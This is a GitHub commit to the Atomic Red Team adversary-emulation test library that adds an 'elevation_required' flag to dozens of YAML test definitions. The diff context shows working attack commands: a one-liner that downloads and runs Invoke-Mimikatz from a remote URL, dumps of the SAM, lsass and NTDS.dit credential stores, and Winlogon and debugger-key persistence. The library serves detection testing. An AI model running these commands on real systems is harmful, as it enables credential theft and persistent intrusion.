Skip to content

Commit

Permalink
Add elevated (redcanaryco#542)
Browse files Browse the repository at this point in the history
* provide elevation_required attribute

* provide elevation_required attribute

* provide elevation_required attribute
  • Loading branch information
clr2of8 authored and Michael Haag committed Sep 3, 2019
1 parent 749039f commit 1bfefda
Show file tree
Hide file tree
Showing 91 changed files with 201 additions and 3 deletions.
5 changes: 5 additions & 0 deletions atomics/T1002/T1002.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -19,6 +19,7 @@ atomic_tests:
default: C:\test\Data.zip
executor:
name: powershell
elevation_required: false
command: |
dir #{input_file} -Recurse | Compress-Archive -DestinationPath #{output_file}
Expand All @@ -38,6 +39,7 @@ atomic_tests:
default: exfilthis.rar
executor:
name: command_prompt
elevation_required: false
command: |
rar a -r #{output_file} #{input_file}
Expand All @@ -58,6 +60,7 @@ atomic_tests:
default: /tmp/victim-files.zip
executor:
name: sh
elevation_required: false
command: |
zip #{output_file} #{input_files}
Expand All @@ -74,6 +77,7 @@ atomic_tests:
default: /tmp/victim-gzip.txt
executor:
name: sh
elevation_required: false
command: |
gzip -f #{input_file}
Expand All @@ -94,5 +98,6 @@ atomic_tests:
default: /tmp/victim-files.tar.gz
executor:
name: sh
elevation_required: false
command: |
tar -cvzf #{output_file} #{input_file_folder}
8 changes: 8 additions & 0 deletions atomics/T1003/T1003.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -15,6 +15,7 @@ atomic_tests:
default: https://raw.githubusercontent.com/EmpireProject/Empire/dev/data/module_source/credentials/Invoke-Mimikatz.ps1
executor:
name: powershell
elevation_required: true
command: |
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
Expand All @@ -25,6 +26,7 @@ atomic_tests:
- windows
executor:
name: command_prompt
elevation_required: true
command: |
gsecdump -a
Expand All @@ -40,6 +42,7 @@ atomic_tests:
default: output.txt
executor:
name: command_prompt
elevation_required: true
command: |
wce -o #{output_file}
Expand All @@ -51,6 +54,7 @@ atomic_tests:
- windows
executor:
name: command_prompt
elevation_required: true
command: |
reg save HKLM\sam sam
reg save HKLM\system system
Expand All @@ -68,6 +72,7 @@ atomic_tests:
type: Path
default: lsass_dump.dmp
executor:
elevation_required: true
name: command_prompt
command: |
procdump.exe -accepteula -ma lsass.exe #{output_file}
Expand Down Expand Up @@ -130,6 +135,7 @@ atomic_tests:
default: C:\Atomic_Red_Team
executor:
name: command_prompt
elevation_required: true
command: |
ntdsutil “ac i ntds” “ifm” “create full #{output_folder} q q
Expand All @@ -145,6 +151,7 @@ atomic_tests:
default: "C:"
executor:
name: command_prompt
elevation_required: true
command: |
vssadmin.exe create shadow /for=#{drive_letter}
Expand All @@ -168,6 +175,7 @@ atomic_tests:
default: C:\Extract
executor:
name: command_prompt
elevation_required: true
command: |
copy #{vsc_name}\Windows\NTDS\NTDS.dit #{extract_path}\ntds.dit
copy #{vsc_name}\Windows\System32\config\SYSTEM #{extract_path}\VSC_SYSTEM_HIVE
Expand Down
3 changes: 3 additions & 0 deletions atomics/T1004/T1004.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -18,6 +18,7 @@ atomic_tests:

executor:
name: powershell
elevation_required: false
command: |
Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Shell" "explorer.exe, #{binary_to_execute}" -Force
Expand All @@ -36,6 +37,7 @@ atomic_tests:

executor:
name: powershell
elevation_required: false
command: |
Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Userinit" "Userinit.exe, #{binary_to_execute}" -Force
Expand All @@ -54,6 +56,7 @@ atomic_tests:

executor:
name: powershell
elevation_required: false
command: |
New-Item "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify" -Force
Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify" "logon" "#{binary_to_execute}" -Force
1 change: 1 addition & 0 deletions atomics/T1005/T1005.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -18,6 +18,7 @@ atomic_tests:

executor:
name: sh
elevation_required: false
command: |
cd ~/Library/Cookies
grep -q "#{search_string}" "Cookies.binarycookies"
2 changes: 2 additions & 0 deletions atomics/T1007/T1007.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -18,6 +18,7 @@ atomic_tests:

executor:
name: command_prompt
elevation_required: true
command: |
tasklist.exe
sc query
Expand All @@ -38,5 +39,6 @@ atomic_tests:
default: C:\Windows\Temp\service-list.txt
executor:
name: command_prompt
elevation_required: false
command: |
net.exe start >> #{output_file}
1 change: 1 addition & 0 deletions atomics/T1009/T1009.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -17,5 +17,6 @@ atomic_tests:
default: /tmp/evil-binary
executor:
name: sh
elevation_required: false
command: |
dd if=/dev/zero bs=1 count=1 >> #{file_to_pad}
1 change: 1 addition & 0 deletions atomics/T1010/T1010.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -22,6 +22,7 @@ atomic_tests:

executor:
name: command_prompt
elevation_required: false
command: |
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe -out:#{output_file_name} #{input_source_code}
#{output_file_name}
1 change: 1 addition & 0 deletions atomics/T1012/T1012.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -23,6 +23,7 @@ atomic_tests:

executor:
name: command_prompt
elevation_required: true
command: |
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows"
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
Expand Down
7 changes: 7 additions & 0 deletions atomics/T1015/T1015.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -17,6 +17,7 @@ atomic_tests:

executor:
name: command_prompt
elevation_required: true
command: |
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d "C:\windows\system32\cmd.exe" /f
Expand All @@ -34,6 +35,7 @@ atomic_tests:

executor:
name: command_prompt
elevation_required: true
command: |
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d "C:\windows\system32\cmd.exe" /f
Expand All @@ -51,6 +53,7 @@ atomic_tests:

executor:
name: command_prompt
elevation_required: true
command: |
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d "C:\windows\system32\cmd.exe" /f
Expand All @@ -68,6 +71,7 @@ atomic_tests:

executor:
name: command_prompt
elevation_required: true
command: |
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d "C:\windows\system32\cmd.exe" /f
Expand All @@ -85,6 +89,7 @@ atomic_tests:

executor:
name: command_prompt
elevation_required: true
command: |
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d "C:\windows\system32\cmd.exe" /f
Expand All @@ -102,6 +107,7 @@ atomic_tests:

executor:
name: command_prompt
elevation_required: true
command: |
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d "C:\windows\system32\cmd.exe" /f
Expand All @@ -119,5 +125,6 @@ atomic_tests:

executor:
name: command_prompt
elevation_required: true
command: |
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d "C:\windows\system32\cmd.exe" /f
2 changes: 2 additions & 0 deletions atomics/T1016/T1016.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -12,6 +12,7 @@ atomic_tests:

executor:
name: command_prompt
elevation_required: false
command: |
ipconfig /all
netsh interface show
Expand All @@ -29,6 +30,7 @@ atomic_tests:

executor:
name: sh
elevation_required: false
command: |
arp -a
netstat -ant | awk '{print $NF}' | grep -v '[a-z]' | sort | uniq -c
Expand Down
5 changes: 5 additions & 0 deletions atomics/T1018/T1018.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -12,6 +12,7 @@ atomic_tests:

executor:
name: command_prompt
elevation_required: false
command: |
net view /domain
net view
Expand All @@ -25,6 +26,7 @@ atomic_tests:

executor:
name: command_prompt
elevation_required: false
command: |
for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i
Expand All @@ -37,6 +39,7 @@ atomic_tests:

executor:
name: command_prompt
elevation_required: false
command: |
arp -a
Expand All @@ -50,6 +53,7 @@ atomic_tests:

executor:
name: sh
elevation_required: false
command: |
arp -a | grep -v '^?'
Expand All @@ -63,5 +67,6 @@ atomic_tests:

executor:
name: sh
elevation_required: false
command: |
for ip in $(seq 1 254); do ping -c 1 192.168.1.$ip -o; [ $? -eq 0 ] && echo "192.168.1.$ip UP" || : ; done
4 changes: 4 additions & 0 deletions atomics/T1022/T1022.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -14,6 +14,7 @@ atomic_tests:

executor:
name: sh
elevation_required: false
command: |
echo "This file will be encrypted" > /tmp/victim-gpg.txt
mkdir /tmp/victim-files
Expand All @@ -32,6 +33,7 @@ atomic_tests:
- windows
executor:
name: command_prompt
elevation_required: false
command: |
mkdir ./tmp/victim-files
cd ./tmp/victim-files
Expand All @@ -47,6 +49,7 @@ atomic_tests:
- windows
executor:
name: command_prompt
elevation_required: false
command: |
path=%path%;"C:\Program Files (x86)\winzip"
mkdir ./tmp/victim-files
Expand All @@ -62,6 +65,7 @@ atomic_tests:
- windows
executor:
name: command_prompt
elevation_required: false
command: |
mkdir ./tmp/victim-files
cd ./tmp/victim-files
Expand Down
1 change: 1 addition & 0 deletions atomics/T1027/T1027.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -13,6 +13,7 @@ atomic_tests:

executor:
name: sh
elevation_required: false
command: |
sh -c "echo ZWNobyBIZWxsbyBmcm9tIHRoZSBBdG9taWMgUmVkIFRlYW0= > /tmp/encoded.dat"
cat /tmp/encoded.dat | base64 -d > /tmp/art.sh
Expand Down
1 change: 1 addition & 0 deletions atomics/T1028/T1028.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -12,6 +12,7 @@ atomic_tests:

executor:
name: powershell
elevation_required: true
command: |
Enable-PSRemoting -Force
Expand Down
1 change: 1 addition & 0 deletions atomics/T1030/T1030.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -15,6 +15,7 @@ atomic_tests:

executor:
name: sh
elevation_required: false
command: |
cd /tmp/
dd if=/dev/urandom of=/tmp/victim-whole-file bs=25M count=1
Expand Down
1 change: 1 addition & 0 deletions atomics/T1031/T1031.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -13,6 +13,7 @@ atomic_tests:

executor:
name: command_prompt
elevation_required: true
command: |
sc config Fax binPath= "C:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -noexit -c \"write-host 'T1031 Test'\""
sc start Fax
Expand Down
2 changes: 2 additions & 0 deletions atomics/T1033/T1033.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -18,6 +18,7 @@ atomic_tests:

executor:
name: command_prompt
elevation_required: false
command: |
cmd.exe /C whoami
wmic useraccount get /ALL
Expand All @@ -38,6 +39,7 @@ atomic_tests:

executor:
name: sh
elevation_required: false
command: |
users
w
Expand Down
1 change: 1 addition & 0 deletions atomics/T1035/T1035.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -23,6 +23,7 @@ atomic_tests:

executor:
name: command_prompt
elevation_required: true
command: |
sc.exe create #{service_name} binPath= #{executable_command}
sc.exe start #{service_name}
Expand Down
2 changes: 2 additions & 0 deletions atomics/T1036/T1036.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -12,6 +12,7 @@ atomic_tests:

executor:
name: command_prompt
elevation_required: false
command: |
cmd.exe /c copy %SystemRoot%\System32\cmd.exe %SystemRoot%\Temp\lsass.exe
cmd.exe /c %SystemRoot%\Temp\lsass.exe
Expand All @@ -25,6 +26,7 @@ atomic_tests:

executor:
name: sh
elevation_required: false
command: |
cp /bin/sh /tmp/crond
/tmp/crond
1 change: 1 addition & 0 deletions atomics/T1037/T1037.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -18,6 +18,7 @@ atomic_tests:

executor:
name: command_prompt
elevation_required: false
command: |
REG.exe ADD HKCU\Environment /v UserInitMprLogonScript /t REG_MULTI_SZ /d "#{script_command}"
Expand Down
Loading

0 comments on commit 1bfefda

Please sign in to comment.